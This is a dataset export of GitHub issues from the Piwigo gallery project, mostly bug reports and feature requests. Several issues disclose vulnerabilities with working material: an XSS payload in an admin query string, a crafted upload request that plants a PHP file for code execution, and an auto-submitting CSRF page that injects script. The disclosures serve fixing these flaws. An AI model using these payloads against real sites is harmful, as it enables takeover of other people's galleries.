issue_owner_repo
listlengths 2
2
| issue_body
stringlengths 0
261k
⌀ | issue_title
stringlengths 1
925
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
2.5k
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 387k
2.46B
| issue_number
int64 1
127k
|
|---|---|---|---|---|---|---|---|---|---|
[
"Piwigo",
"Piwigo"
] |
[mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 16
```
SELECT
c.*,
user_representative_picture_id,
nb_images,
date_last,
max_date_last,
count_images,
nb_categories,
count_categories
FROM piwigo_categories c
INNER JOIN piwigo_user_cache_categories ucc
ON id = cat_id
AND user_id = 1
WHERE id_uppercat is NULL
ORDER BY rank
```
#1 my_error /.../include/dblayer/functions_mysqli.inc.php(132)
#2 pwg_query /.../include/category_cats.inc.php(55)
#3 include /.../index.php(301)
> Piwigo:2.10.0RC1
> Ubuntu:18.04
> Nginx:1.16.1
> PHP:7.3.10
> Mysql:8.0.17
|
[mysql error 1064] You have an error in your SQL syntax
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1081/comments
| 1 |
2019-09-28T17:40:45Z
|
2019-10-12T09:16:24Z
|
https://github.com/Piwigo/Piwigo/issues/1081
| 499,799,771 | 1,081 |
[
"Piwigo",
"Piwigo"
] |
and also on the Batch Manager.
After deep investigation, the problem is only when Piwigo combines JS/CSS.
The bug comes from `admin/themes/default/fontello/css/animation.css` loaded by `admin/themes/default/template/include/add_album.inc.tpl` (to animate a vector icon instead of a animated GIF). The minification of `animation.css` breaks CSS parsing and following scripts are not correctly executed, including Admin Tools scripts.
The break of AdminTools is just the visible effect of problematic `animation.css`.
|
[2.10] AdminTools broken on Upload form
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1080/comments
| 1 |
2019-09-25T14:14:49Z
|
2021-05-13T12:12:49Z
|
https://github.com/Piwigo/Piwigo/issues/1080
| 498,315,664 | 1,080 |
[
"Piwigo",
"Piwigo"
] |
is there a markdown support for descriptions and comments?
|
markdown support
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1079/comments
| 0 |
2019-09-23T19:26:53Z
|
2019-09-23T19:26:53Z
|
https://github.com/Piwigo/Piwigo/issues/1079
| 497,283,113 | 1,079 |
[
"Piwigo",
"Piwigo"
] |
- When calling `pwg.images.setInfo` with an `image_id` and a `name` parameter with value `Bateau`, the method sets the title as expected but it also replaces the original filename of the image with `Bateau` (seen on the web GUI and the mobile app). The call also returns a non JSON response leading to an error (checked with both JPEG and PNG formats).
- If I add the `file` parameter with the value `image.jpg` to the above request, the method does the same, i.e. set the original filename to `Bateau.jpg`, but does not return a non JSON response (tested with both PNG and JPEG files). If the `name` value contains spaces, the original filename looses its extension.
- When calling `pwg.images.setInfo` with an `image_id` and a `file` parameter with value e.g. `image.jpg`, the method sets the original filename even if the parameter `single_value_mode` is not provided with the `replace` value (as expected).
This is really annoying, in particular when the original filename lost its extension. The workaround is to call the method twice to change the title. Could this be fixed?
|
[web API] pwg.images.setInfo - 'name' parameter changes original filename
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1078/comments
| 3 |
2019-09-16T10:34:17Z
|
2019-09-21T13:42:07Z
|
https://github.com/Piwigo/Piwigo/issues/1078
| 493,969,095 | 1,078 |
[
"Piwigo",
"Piwigo"
] |
In admin.php @ line 102 we see the following code.
```php
// +-----------------------------------------------------------------------+
// | Variables init |
// +-----------------------------------------------------------------------+
$change_theme_url = PHPWG_ROOT_PATH.'admin.php?';
$test_get = $_GET;
unset($test_get['page']);
unset($test_get['section']);
unset($test_get['tag']);
if (count($test_get) == 0 and !empty($_SERVER['QUERY_STRING']))
{
$change_theme_url.= str_replace('&', '&', $_SERVER['QUERY_STRING']).'&';
}
$change_theme_url.= 'change_theme=1';
```
If we send Piwigo a url like:
admin.php?="><script>alert(1);</script>
The condition at line 111 will be met and the $change_theme_url variable will then contain an unsanitized query string resulting in XSS wherever $change_theme_url is used.
|
Unsafe $_SERVER['QUERY_STRING'] usage in admin.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1077/comments
| 0 |
2019-09-14T00:25:39Z
|
2019-09-14T14:19:39Z
|
https://github.com/Piwigo/Piwigo/issues/1077
| 493,560,651 | 1,077 |
[
"Piwigo",
"Piwigo"
] |
There is a critical XSS issue in /admin/permalinks.php that allows for an attacker to easily send an admin a link that drops a PHP shell silently for an attacker.
[Proof of Concept](https://github.com/Piwigo/Piwigo/files/3605455/sploit.txt)
Creating a pull request right now to fix this issue.
P.S. You guys should really get a security contact set up so that people can report these issues privately.
|
Piwigo 2.9.5 XSS
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1075/comments
| 4 |
2019-09-12T12:31:04Z
|
2019-09-20T12:03:09Z
|
https://github.com/Piwigo/Piwigo/issues/1075
| 492,775,051 | 1,075 |
[
"Piwigo",
"Piwigo"
] |
I'm getting a theme not compatible error on this RC.
I've tried a number of themes and they are all coming up the same error.
|
Piwigo 2.10Beta1
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1074/comments
| 1 |
2019-09-12T00:19:33Z
|
2022-03-29T13:03:00Z
|
https://github.com/Piwigo/Piwigo/issues/1074
| 492,524,964 | 1,074 |
[
"Piwigo",
"Piwigo"
] |
Hi,I found a php code execution vulnerability at piwigo latest version 2.9.5
Step:
1. When login as admin, add photo as below:
use "burp" to change the request :
POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1
Host: 10.211.55.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551
Content-Length: 938
Connection: close
Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="name"
evil.php
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunk"
0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunks"
1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="category"
1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="level"
0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="pwg_token"
94240d512ee6c3e37373340e82002982
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="file"; filename="horse.png"
Content-Type: image/png
<?php
eval(phpinfo());
?>
-----------------------------162272654122640882111580551--
the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"
2. visit the evil file via http://10.211.55.8/Piwigo/upload/buffer/evil.php
|
piwigo-2.9.5 PHP Code Execution Vulnerability
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1073/comments
| 6 |
2019-09-11T03:13:52Z
|
2019-09-23T11:40:06Z
|
https://github.com/Piwigo/Piwigo/issues/1073
| 491,993,826 | 1,073 |
[
"Piwigo",
"Piwigo"
] |
If you upload a huge TIFF files, let's say 14249x6570 pixels (548MB, true example), the current Piwigo 2.10 algorithm to create representative will create a 14249x6570 JPEG or PNG file.
It's totally useless because the representative is only used to act as the original to generate derivatives (multiple sizes). The huge JPEG representative (sometimes 50MB in my example) will take forever to generate the thumbnail and use far too much disk space.
I think we could limit the dimensions to size XXL dimensions + 20%.
|
a huge TIFF files will create a huge representative picture
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1072/comments
| 0 |
2019-09-10T15:21:02Z
|
2019-09-10T15:21:02Z
|
https://github.com/Piwigo/Piwigo/issues/1072
| 491,741,590 | 1,072 |
[
"Piwigo",
"Piwigo"
] |
... instead of sequentially.
This is related to #966 : with current Javascript algorithm, we cut the photos set in blocks (which is fine) but then we launch all blocks at the same time.
This may lead to too many requests at the same time (imagine 1,000,000 photos in your set, that would make 1,000 simultaneous ajax requests) and make the whole sync slower than before.
|
[Batch Manager] metadata syncs launched in parallel
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1070/comments
| 0 |
2019-09-03T14:41:02Z
|
2019-09-03T14:50:37Z
|
https://github.com/Piwigo/Piwigo/issues/1070
| 488,647,495 | 1,070 |
[
"Piwigo",
"Piwigo"
] |
Could you please add `<meta name="apple-itunes-app" content="app-id=472225196">` to the header of the welcome page of Piwigo so that iOS users are invited to use the mobile app (see [Apple documentation](https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/PromotingAppswithAppBanners/PromotingAppswithAppBanners.html))?
Here is for example what would be presented in Safari:
|
Promote iOS app with smart app banner
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1069/comments
| 9 |
2019-09-01T14:38:16Z
|
2020-09-29T13:14:25Z
|
https://github.com/Piwigo/Piwigo/issues/1069
| 487,893,536 | 1,069 |
[
"Piwigo",
"Piwigo"
] |
As reported on [topic 29518](https://piwigo.org/forum/viewtopic.php?id=29518)
> [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 16
```
SELECT
c.*,
user_representative_picture_id,
nb_images,
date_last,
max_date_last,
count_images,
nb_categories,
count_categories
FROM piwigo_categories c
INNER JOIN piwigo_user_cache_categories ucc
ON id = cat_id
AND user_id = 1
WHERE id_uppercat is NULL
ORDER BY rank
#1 my_error include\dblayer\functions_mysqli.inc.php(132)
#2 pwg_query include\category_cats.inc.php(55)
#3 include index.php(301)
```
|
[2.10.0RC1] rank is still an issue with MySQL 8
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1068/comments
| 3 |
2019-08-30T10:05:30Z
|
2019-11-07T23:08:05Z
|
https://github.com/Piwigo/Piwigo/issues/1068
| 487,401,393 | 1,068 |
[
"Piwigo",
"Piwigo"
] |
Hello,
I face an issue with the Piwigo 2.10.0RC1 and the Bootstrap Darkroom theme. When I navigate to Explore --> Comments, I get this error:
Piwigo ist auf einen nicht behebbaren Fehler gestoßen.
define_derivative missing width
#1 Template::func_define_derivative /var/www/_data/templates_c/b79f2g^5b2e5f7dae656e1fcfb24c416c8627acfe7f05e7_0.file.comment_list.tpl.php(56)
#2 content_5d5e9ef6aa2502_98294916 /var/www/include/smarty/libs/sysplugins/smarty_template_resource_base.php(122)
#3 Smarty_Template_Resource_Base::getRenderedTemplateCode /var/www/include/smarty/libs/sysplugins/smarty_template_compiled.php(199)
#4 Smarty_Template_Compiled::render /var/www/include/smarty/libs/sysplugins/smarty_internal_template.php(159)
#5 Smarty_Internal_Template::render /var/www/include/smarty/libs/sysplugins/smarty_internal_runtime_subtemplate.php(174)
#6 Smarty_Internal_Runtime_SubTemplate::render /var/www/_data/templates_c/b79f2g^93572b79d12c105d6ee734d69e03217a5637737f_0.file.comments.tpl.php(146)
#7 content_5d5e9ef6ac14b1_54702624 /var/www/include/smarty/libs/sysplugins/smarty_template_resource_base.php(122)
#8 Smarty_Template_Resource_Base::getRenderedTemplateCode /var/www/include/smarty/libs/sysplugins/smarty_template_compiled.php(199)
#9 Smarty_Template_Compiled::render /var/www/include/smarty/libs/sysplugins/smarty_internal_template.php(159)
#10 Smarty_Internal_Template::render /var/www/include/smarty/libs/sysplugins/smarty_internal_templatebase.php(191)
#11 Smarty_Internal_TemplateBase::_execute /var/www/include/smarty/libs/sysplugins/smarty_internal_templatebase.php(94)
#12 Smarty_Internal_TemplateBase::fetch /var/www/include/template.class.php(469)
#13 Template::parse /var/www/include/template.class.php(489)
#14 Template::pparse /var/www/comments.php(545)
Do you have an idea? It works fine with 2.9.5. On the other hand 2.10.0RC1 works fine with the "modus" theme.
Kind regards
Jens
PS: I have created a detailed "How to reproduce" which I can share.
**Versions:**
Piwigo 2.10.0RC1
Betriebssystem: Linux
PHP: 7.0.33-0+deb9u3 (Info anzeigen) [2019-08-22 16:04:59]
MySQL: 5.5.5-10.4.7-MariaDB-1:10.4.7+maria~bionic [2019-08-22 16:04:59]
Grafikbibliothek: ImageMagick 6.9.7-4
|
2.10.0RC1: Error when opening Comments using Bootstrap Darkroom theme
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1067/comments
| 1 |
2019-08-22T14:14:29Z
|
2019-09-23T11:59:46Z
|
https://github.com/Piwigo/Piwigo/issues/1067
| 484,020,956 | 1,067 |
[
"Piwigo",
"Piwigo"
] |
Hi,
i have updated the php version from 7.1 to 7.3.
Now in the admin batch_manager page i see the following:
PHP message: PHP Warning: count(): Parameter must be an array or an object that implements Countable in <installpath>/piwigo/plugins/manage_properties_photos/initadmin.php on line 57'
The fix is trivial, replace this on line 57:
`if (count($row) > 0){`
with for example:
`if ($row != NULL && count($row) > 0){`
the problem is then gone ...
|
php 7.3 -> Warning: count(): Parameter must be an array or an object that implements Countable at admin.php?page=batch_manager
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1066/comments
| 3 |
2019-08-19T17:34:39Z
|
2019-08-22T02:05:18Z
|
https://github.com/Piwigo/Piwigo/issues/1066
| 482,438,093 | 1,066 |
[
"Piwigo",
"Piwigo"
] |
This exif data:
Flash : Off, Did not fire
causes the following:
Notice: A non well formed numeric value encountered in /var/www/piwigo/plugins/exif_view/main.inc.php on line 152
Notice: A non well formed numeric value encountered in /var/www/piwigo/plugins/exif_view/main.inc.php on line 158
Notice: A non well formed numeric value encountered in /var/www/piwigo/plugins/exif_view/main.inc.php on line 164
Notice: A non well formed numeric value encountered in /var/www/piwigo/plugins/exif_view/main.inc.php on line 172
Piwigo 2.9.5
Operating system: Linux
PHP: 7.3.7-2+0~20190725.42+debian10~1.gbp848ca5 (Show info) [2019-08-15 19:17:44]
MySQL: 5.7.26-1 [2019-08-16 12:17:44]
Graphics Library: External ImageMagick 6.9.10-23
|
Exif Flash value of "Off, Did not fire" stops metadata importing.
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1064/comments
| 1 |
2019-08-16T00:18:45Z
|
2019-10-16T02:32:40Z
|
https://github.com/Piwigo/Piwigo/issues/1064
| 481,390,066 | 1,064 |
[
"Piwigo",
"Piwigo"
] |
Piwigo 2.10 is coming soon, there won't be any more migration task, let's add the upgrade from Piwigo 2.9
|
upgrade script to 2.10
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1063/comments
| 0 |
2019-08-14T14:41:52Z
|
2019-08-14T14:56:30Z
|
https://github.com/Piwigo/Piwigo/issues/1063
| 480,719,821 | 1,063 |
[
"Piwigo",
"Piwigo"
] |
If a user has a theme set which is subsequently removed from the filesystem (i.e. still is the active theme in the user's preferences), the default theme fails to load and the following warning is issued:
```
( ! ) Warning: include(/themeconf.inc.php): failed to open stream: No such file or directory in .../piwigo/include/template.class.php on line 1141
--
1 | 0.0001 | 402880 | {main}( ) | .../index.php:0
2 | 0.0002 | 403696 | include_once( '.../piwigo/include/common.inc.php' ) | .../index.php:11
3 | 0.0112 | 773840 | Template->__construct( ) | .../common.inc.php:218
4 | 0.0119 | 793256 | Template->set_theme( ) | .../template.class.php:128
5 | 0.0119 | 793824 | Template->load_themeconf( ) | .../template.class.php:169
```
This is with current master (63bbba8e36e).
|
Fails to load theme if user theme has been uninstalled
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1061/comments
| 2 |
2019-08-14T09:30:04Z
|
2019-08-14T10:21:44Z
|
https://github.com/Piwigo/Piwigo/issues/1061
| 480,576,005 | 1,061 |
[
"Piwigo",
"Piwigo"
] |
Reported on Piwigo forum by mickey49 https://piwigo.org/forum/viewtopic.php?pid=173980#p173980
I'm getting the error below; this is on a Beta2 install running on MySQL 8.
```
Piwigo encountered an irrecoverable error
[mysql error 1064] You have an error in your
SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax
to use near 'rank,global_rank,commentable,visible,status)
VALUES('asdf','0','0','true','tru' at line 2
INSERT INTO piwigo_categories
(name,rank,global_rank,commentable,visible,status)
VALUES('asdf','0','0','true','true','public')
#1 my_error include/dblayer/functions_mysqli.inc.php(132)
#2 pwg_query include/dblayer/functions_mysqli.inc.php(617)
#3 single_insert admin/include/functions.php(1539)
#4 create_virtual_category admin/cat_list.php(163)
#5 include admin.php(310)
```
|
"rank" still causes error with Mysql 8
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1060/comments
| 1 |
2019-08-13T14:44:16Z
|
2019-08-13T14:48:17Z
|
https://github.com/Piwigo/Piwigo/issues/1060
| 480,198,274 | 1,060 |
[
"Piwigo",
"Piwigo"
] |
Users can change the number of days of the "Recent period" from the web interface. Admin can also change this number with the admin tools.
To my knowledge, third party apps cannot retrieve this number with API methods. They cannot therefore adopt the choice of the user. I suggest that it is returned by the `pwg.session.getStatus` method after login.
|
[web API] pwg.session.getStatus — "Recent period" number of days?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1059/comments
| 1 |
2019-08-12T17:01:41Z
|
2023-12-04T21:10:38Z
|
https://github.com/Piwigo/Piwigo/issues/1059
| 479,751,863 | 1,059 |
[
"Piwigo",
"Piwigo"
] |
Some fields are vulnerable to XSS, which is problematic when combined with a CSRF. Let's protect this page.
Reported by @0xcoyote
|
[security] prevent CSRF on notification by mail
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1058/comments
| 0 |
2019-08-12T10:28:17Z
|
2019-08-12T10:32:36Z
|
https://github.com/Piwigo/Piwigo/issues/1058
| 479,572,602 | 1,058 |
[
"Piwigo",
"Piwigo"
] |
We still have a very old styled popup when opening an help page. We should switch to a cleaner popin (colorbox?)
Suggestion made by Justine5 on the french forum https://fr.piwigo.org/forum/viewtopic.php?pid=227090#p227090
|
[admin] open help as popin instead of popup
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1057/comments
| 1 |
2019-08-11T20:43:16Z
|
2019-08-13T10:15:53Z
|
https://github.com/Piwigo/Piwigo/issues/1057
| 479,409,202 | 1,057 |
[
"Piwigo",
"Piwigo"
] |
We still have an old bitmap PNG file. We should switch to a vector icon (font-icon actually) like all other icons in Piwigo administration.
Request made by Justine5 on the French forum :-) https://fr.piwigo.org/forum/viewtopic.php?pid=227089#p227089
|
[admin] help icon (question mark) should be updated to new iconset
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1056/comments
| 0 |
2019-08-11T20:41:21Z
|
2019-08-12T15:02:01Z
|
https://github.com/Piwigo/Piwigo/issues/1056
| 479,409,043 | 1,056 |
[
"Piwigo",
"Piwigo"
] |
on `{original_resize_maxwidth, original_resize_maxheight, original_resize_quality}` you can forge an HTTP request and add HTML/JS code in the value, which is displayed "as is" in the form.
This issue is minor because it requires admin access and the form is protected against CSRF attacks.
|
minor XSS on admin/config/sizes
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1055/comments
| 0 |
2019-08-09T13:51:04Z
|
2019-08-12T10:23:09Z
|
https://github.com/Piwigo/Piwigo/issues/1055
| 478,998,023 | 1,055 |
[
"Piwigo",
"Piwigo"
] |
I'm talking about page [Administration > Albums > Manage > tab Move]. Let's take the following situation (see screenshot) and you want to move `album 1/ *` to the root of your gallery. Many users will select all albums inside `album 1`, whatever their level. As a result, `album 1aα`is also moved to the root of your gallery, while you certainly want it to stay in `album 1a` :-/
This is the number 1 reason why some users ask for a database restore among Piwigo.com clients. For me it's obvious we have here a UX bug.
**What solution do we have here?**
The simplest one, the one I like the most ;-), would be to simply remove this administration page. Moving albums is not a very common task and moving several albums at once is even less likely. You can still move an album by changing it's parent album on its edition page.
Other ideas?
|
Moving an album hierarchy is error prone
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1054/comments
| 1 |
2019-08-08T15:13:20Z
|
2020-08-22T10:36:40Z
|
https://github.com/Piwigo/Piwigo/issues/1054
| 478,533,445 | 1,054 |
[
"Piwigo",
"Piwigo"
] |
We need the new default theme modus + previous generation default themes {elegant, smartpocket}
|
embed themes in release build
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1053/comments
| 0 |
2019-08-06T16:17:41Z
|
2019-08-06T16:21:09Z
|
https://github.com/Piwigo/Piwigo/issues/1053
| 477,474,016 | 1,053 |
[
"Piwigo",
"Piwigo"
] |
Starting from Piwigo 2.10 let's only keep the hidden theme "default" in Piwigo core repository and move all other themes in separate repository (with their own history and issues).
[See discussion on Piwigo forum topic](https://piwigo.org/forum/viewtopic.php?id=29251)
Only themes {modus, elegant, smartpocket} will be builded in release creation.
|
separate themes from Piwigo core repository
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1052/comments
| 0 |
2019-08-06T15:57:36Z
|
2019-08-06T16:01:20Z
|
https://github.com/Piwigo/Piwigo/issues/1052
| 477,464,084 | 1,052 |
[
"Piwigo",
"Piwigo"
] |
just like we have in `mass_inserts`
|
single_insert ability to "insert ignore"
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1051/comments
| 0 |
2019-07-17T09:01:08Z
|
2019-07-17T09:16:18Z
|
https://github.com/Piwigo/Piwigo/issues/1051
| 469,071,903 | 1,051 |
[
"Piwigo",
"Piwigo"
] |
- update screenshot for iOS
- hide ReGalAndroid (no longer available on Play Store)
- update screenshot for Lightroom
|
update photos/add/applications page
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1049/comments
| 0 |
2019-07-11T12:53:13Z
|
2019-07-11T12:54:50Z
|
https://github.com/Piwigo/Piwigo/issues/1049
| 466,874,497 | 1,049 |
[
"Piwigo",
"Piwigo"
] |
Previously, the bug tracker used by Piwigo project was a real Free Software.
Now, the official one is Github which is clearly not Free Software.
There is a definite contradiction in using non-free tools for a free project.
This is a very strong barrier for librists who would like to participate in the project.
It would be wonderful if Piwigo returned to free software tools.
|
Change to a Free Software tracker
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1048/comments
| 1 |
2019-07-10T22:33:11Z
|
2019-08-09T12:47:03Z
|
https://github.com/Piwigo/Piwigo/issues/1048
| 466,555,549 | 1,048 |
[
"Piwigo",
"Piwigo"
] |
In https://github.com/Piwigo/Piwigo/blob/master/language/fr_FR/admin.lang.php#L608 :
> $lang['Webmaster status is required.'] = 'Vous devez avoir le status de "webmaster".';
Fix required: "le statu**s**" -> "le statu**t**"
|
Bad wording "status" in french
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1047/comments
| 1 |
2019-07-10T21:56:23Z
|
2019-09-20T13:50:42Z
|
https://github.com/Piwigo/Piwigo/issues/1047
| 466,542,382 | 1,047 |
[
"Piwigo",
"Piwigo"
] |
installing piwigo 2.10.0b2 from current git/head
```
cd /srv/www/test/piwigo
git log | head
commit b1018694176585a0e3a3dd7fd6a14c7a68998a7b
Author: plegall <[email protected]>
Date: Thu Jul 4 11:22:09 2019 +0200
update release to 2.10.0beta2
commit c1eecab36415bcba022aa088463ed138fc38b92b
Author: plegall <[email protected]>
Date: Fri Jun 28 18:07:53 2019 +0200
```
on nginx/linux + phpfpm, on exec of 'install' @ UI, I get:
> "Congratulations. Piwigo installation is completed"
but, on click to "Visit Gallery"
I get in my phpfpm log,
```
Notice: Undefined offset: 0 in /srv/www/test/piwigo/include/functions_user.inc.php on line 780
Fatal error: Uncaught --> Smarty: Unable to load template file 'no_photo_yet.tpl' <-- thrown in /srv/www/test/piwigo/include/smarty/libs/sysplugins/smarty_internal_template.php on line 139
```
Checking, the file _exists_
```
find . -name no_photo_yet.tpl
./themes/default/template/no_photo_yet.tpl
```
|
2.10.0b2 "Fatal error: Uncaught --> Smarty" after OK install
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1046/comments
| 3 |
2019-07-06T16:51:24Z
|
2020-09-16T23:14:25Z
|
https://github.com/Piwigo/Piwigo/issues/1046
| 464,871,367 | 1,046 |
[
"Piwigo",
"Piwigo"
] |
based on Samuel's mockup
|
Photo Edition, new design
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1044/comments
| 0 |
2019-07-02T15:10:20Z
|
2020-06-12T13:56:10Z
|
https://github.com/Piwigo/Piwigo/issues/1044
| 463,285,403 | 1,044 |
[
"Piwigo",
"Piwigo"
] |
The methods pwg.tags.getAdminList and pwg.tags.getList do not return the 'group' to which the tag belongs to, which makes impossible to present tags in groups on third party apps. Could you please add the group name in the list of returned data?
|
[web API] Tag Groups compatibility
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1043/comments
| 2 |
2019-07-01T21:00:49Z
|
2019-07-04T09:34:57Z
|
https://github.com/Piwigo/Piwigo/issues/1043
| 462,909,629 | 1,043 |
[
"Piwigo",
"Piwigo"
] |
set Modus as default theme
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1042/comments
| 0 |
2019-06-28T08:36:23Z
|
2019-06-28T09:22:29Z
|
https://github.com/Piwigo/Piwigo/issues/1042
| 461,922,727 | 1,042 |
|
[
"Piwigo",
"Piwigo"
] |
See https://github.com/Piwigo/TakeATour/issues/11
|
Do not activate Take a Tour during install
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1041/comments
| 0 |
2019-06-28T08:20:28Z
|
2019-06-28T08:36:05Z
|
https://github.com/Piwigo/Piwigo/issues/1041
| 461,916,548 | 1,041 |
[
"Piwigo",
"Piwigo"
] |
too techy for dashboard
|
[dashboard] move "check upgrade" action on maintenance page
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1040/comments
| 0 |
2019-06-27T16:25:37Z
|
2019-06-27T17:10:04Z
|
https://github.com/Piwigo/Piwigo/issues/1040
| 461,627,236 | 1,040 |
[
"Piwigo",
"Piwigo"
] |
Hello, there is a CSRF and XSS on Piwigo version 2.9.5, on path **/admin.php?page=account_billing**
similar as #822 but this one are fixed. i made a .gif for example. The problem is that the anti-csrf token called "pwg_token" is not present o that page, and all parameters of billing endpoint are vulnerable to XSS.
The request above illustrated the fact.
################################################
```
POST /admin.php?page=account_billing HTTP/1.1
Host: pocs.piwigo.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
DNT: 1
Connection: close
Cookie: pwg_id=tu9uscakg4ogosqtna789j24l5
Upgrade-Insecure-Requests: 1
billing_country=BR&vat_number=xssa&billing_name=xssa%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&company=xssb&billing_address=xssc&submitBillingInfos=
```
################################################
Attacker script:
```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>CSRF PoC</title>
<style type="text/css">
body {
display:flex;
flex-direction:column;
justify-content:center;
min-height:100vh;
margin:0;
}
p {
display:flex;
align-self:center;
font-size:0.8rem;
font-family:sans-serif;
font-weight:bold;
text-transform:uppercase;
letter-spacing:0.1rem;
}
</style>
</head>
<body>
<p>CSRF PoC Billing Admin</p>
<html>
<form id="myForm" action="https://pocs.piwigo.com/admin.php?page=account_billing" method="POST">
<input type="hidden" name="billing_country" value="BR" />
<input type="hidden" name="vat_number" value="xssa" />
<input type="hidden" name="billing_name" value="xssa"><script>alert(1)</script>" />
<input type="hidden" name="company" value="xssb" />
<input type="hidden" name="billing_address" value="xssc" />
<input type="hidden" name="submitBillingInfos" value="" />
<script>
function submitform()
{
document.getElementById("myForm").submit();
}
onload=submitform();
</script>
</form>
</body>
</html>
```
|
Bug Report: XSS in admin.php?page=account_billing + CSRF
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1039/comments
| 1 |
2019-06-26T23:12:16Z
|
2019-06-27T13:13:21Z
|
https://github.com/Piwigo/Piwigo/issues/1039
| 461,220,574 | 1,039 |
[
"Piwigo",
"Piwigo"
] |
Just like #496 but for user comments. Same reason: very few Piwigo galleries are using this feature. Mainly used by comment spammers :-/
|
deactivate user comments by default
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1038/comments
| 0 |
2019-06-26T14:01:43Z
|
2019-06-26T14:06:02Z
|
https://github.com/Piwigo/Piwigo/issues/1038
| 460,989,882 | 1,038 |
[
"Piwigo",
"Piwigo"
] |
based on samuel's mockups created during summer 2018
|
batch manager redesign
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1036/comments
| 0 |
2019-06-25T07:58:33Z
|
2020-08-09T09:26:17Z
|
https://github.com/Piwigo/Piwigo/issues/1036
| 460,270,309 | 1,036 |
[
"Piwigo",
"Piwigo"
] |
In the new administration, the top-left link "< Visit" is not translated.
|
"< visit" not translated
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1035/comments
| 0 |
2019-06-20T12:53:54Z
|
2019-06-20T12:55:45Z
|
https://github.com/Piwigo/Piwigo/issues/1035
| 458,640,734 | 1,035 |
[
"Piwigo",
"Piwigo"
] |
I just met this problem: when a Piwigo is attacked by comment spammers, the administrators receives many emails (see #1033) and the content of the comment is copied into the email. It's fine for "normal" comment, but it's a problem if it's a spam.
For example if the content of the spam comment is about "vi*gra". This keywords is forwarded in the email and receiving email hoster (let's say Yahoo or Hotmail) will quickly consider the sending server as a spam factory and block its IP address. Then no other email will get to the *@yahoo.com or *@hotmail.com users :-(
Fighting against spam on Piwigo is already very painful, we need to avoid forwarding the problem to email providers.
|
avoid forwarding spam by email to the administrators
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1034/comments
| 1 |
2019-06-14T13:40:51Z
|
2019-06-18T13:19:00Z
|
https://github.com/Piwigo/Piwigo/issues/1034
| 456,255,461 | 1,034 |
[
"Piwigo",
"Piwigo"
] |
